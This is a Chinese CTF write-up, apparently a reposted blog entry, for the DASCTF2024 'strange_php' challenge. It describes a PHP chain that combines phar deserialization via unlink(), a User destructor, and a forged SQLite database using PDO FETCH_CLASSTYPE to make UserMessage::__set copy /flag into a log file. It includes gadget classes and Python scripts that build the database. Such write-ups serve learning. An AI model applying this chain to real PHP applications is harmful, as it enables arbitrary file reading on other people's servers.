当前位置: 首页 > article >正文

CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化?

漏洞入口在

welcome.php

case 'delete':  
    // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  
    $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  
    $msg = $userMessage->deleteMessage($message); // 删除留言  
  
    if ($msg) {  
        echo "留言已成功删除"; // 输出成功删除信息  
    } else {  
        echo "操作失败,请重新尝试"; // 输出失败信息  
    }  
    break;

此处message_path可控,进一步跟进

UserMessage.php

public function deleteMessage($path) {  
    $path = $path . ".txt"; // 添加文件扩展名  
    if (file_exists($path)) {  
        $result = unlink($path);  
        if ($result === false) {  
            return false;  
        }  
        return true;  
    }  
    return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

public function writeMessage($message) {  
    $result = file_put_contents($this->filePath, $message);  
    if ($result === false) {  
        return false;  
    }  
    return true;  
}

step 3 如何利用反序列化读取flag?

<?php  
  
class UserMessage {  
    private $filePath;  

    ........
    
    // 魔术方法 __set,用于设置私有属性并记录日志  
    public function __set($name, $value) {  
        $this->$name = $value;  
        $logContent = file_get_contents($this->filePath) . "</br>";  
        file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
    }  
    
	.......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

class MyClass {
    private $data = [];

    public function __set($name, $value) {
        $this->data[$name] = $value;
    }
}

$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

<?php  
  
class PDO_connect {  
  
    private $pdo; // 用于保存 PDO 实例  
    public $con_options = []; // 用于设置 PDO 连接的选项  
    public $smt; // 用于保存 PDOStatement 实例  
  
    public function __construct() {  
        // 构造函数,初始化对象时调用  
    }  
  
    // 初始化连接选项  
    public function init() {  
    
        $this->con_options = array(  
            "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  
            'host' => '127.0.0.1', // 数据库主机地址  
            'port' => '3306', // 数据库端口  
            'user' => 'joker', // 数据库用户名  
            'password' => 'joker', // 数据库密码  
            'charset' => 'utf8', // 字符集  
            'options' => array(  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  
            )  
        );  
    }  
  
    // 获取数据库连接  
    public function get_connection() {  
        $this->conn = null; // 初始化连接为 null        try {  
            // 创建 PDO 实例  
            $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  
  
            // 设置错误处理模式  
            if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  
                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  
            }  
  
            // 设置默认获取模式  
            if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  
                $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  
            }  
  
        } catch (PDOException $e) {  
            // 捕获异常并输出错误信息  
            echo 'Connection Error: ' . $e->getMessage();  
        }  
        return $this->conn; // 返回 PDO 连接实例  
    }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE:当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

class Admin {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

class Member {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];

$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);

$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);

while ($user = $statement->fetch()) {
    echo get_class($user) . "\n"; // 打印当前行映射的类名
    echo $user->id . "\n";
    echo $user->username . "\n";
    echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

public function __set($name, $value) {  
    $this->$name = $value;  
    $logContent = file_get_contents($this->filePath) . "</br>";  
    file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

class PDO_connect{  
    private $pdo;  
    public $con_options = []; 
    public $smt;  
    public function __construct(){  
  
        $this->con_options =  
            [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  
                "username"=>"root",  
                "password"=>"root",  
                "options"=>[  
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
                ]  
            ];  
    }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

public function __destruct() {  
    if ($this->username) {  
        $results = $this->log();  
        $log_mess = serialize($results);  
  
        // 记录日志到文件  
        file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  
    }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

public function log() {  
    try {  
        $sql = "SELECT * FROM users WHERE username = :username";  
        $pdo = $this->conn->get_connection();  
        $stmt = $pdo->prepare($sql);  
  
        $stmt->bindParam(':username', $this->username);  
        $stmt->execute();  
        $result = $stmt->fetch();  
        return $result;  
    } catch (PDOException $e) {  
        echo $e->getMessage();  
    }  
}

所以写出

class PDO_connect{  
    private $pdo;  
    public $con_options = [];
    public $smt;  
    public function __construct(){  
        $this->con_options = [  
            "dsn"=>'sqlite:./fake_db.sqlite',  
            "username"=>"root",  
            "password"=>"root",  
            "options"=>[  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
            ]  
        ];  
    }  
}  
class User{  
    private $conn;  
    private $table = 'users';  
  
    public $id;  
    public $username;  
  
    public $password;  
  
    public function __construct(){  
  
        $this->conn = new PDO_connect();  
        $this->username = "UserMessage";  
  
    }  
}

尝试

import sqlite3  
  
conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (

    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    set_name TEXT NOT NULL,

id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  
    ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

请添加图片描述

import sqlite3  
  
conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  
  
    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    password TEXT NOT NULL,
    
id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  
    ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

即可控制变量值触发/flag读取


http://www.kler.cn/a/524144.html

相关文章:

  • 128周二复盘(164)学习任天堂
  • C++,STL,【目录篇】
  • C++入门(1)
  • 第05章 11 动量剖面可视化代码一则
  • 【Elasticsearch】Elasticsearch的查询
  • Ceph:关于Ceph 中使用 RADOS 块设备提供块存储的一些笔记整理(12)
  • 计算机毕业设计PySpark+hive招聘推荐系统 职位用户画像推荐系统 招聘数据分析 招聘爬虫 数据仓库 Django Vue.js Hadoop
  • 解决 Postman 报错一直转圈打不开
  • 2024年度技术总结——MCU与MEMS和TOF应用实践
  • Qt监控系统辅屏预览/可以同时打开4个屏幕预览/支持5x64通道预览/onvif和rtsp接入/性能好
  • 双层Git管理项目,github托管显示正常
  • springboot服务器端默认60秒超时的解决方法
  • leetcode_链表 234.回文链表
  • docker commit命令解析(将容器的当前状态保存为一个新的镜像)
  • AI如何革新工程建造物资管理
  • C#操作GIF图片(下)将一帧一帧的图片合并成gif
  • css 实现进度条和数字自增动画效果
  • C++:多继承习题3
  • 力扣【501. 二叉搜索树中的众数】Java题解
  • java.util.Random类(详细案例拆解)(已完结)
  • 面试经典150题——图
  • 宫本茂的游戏设计思想:有趣与风格化
  • FreeRTOS从入门到精通 第十一章(FreeRTOS时间管理)
  • doris:JSON
  • LLM架构与优化:从理论到实践的关键技术
  • [MySQL]事务的理论、属性与常见操作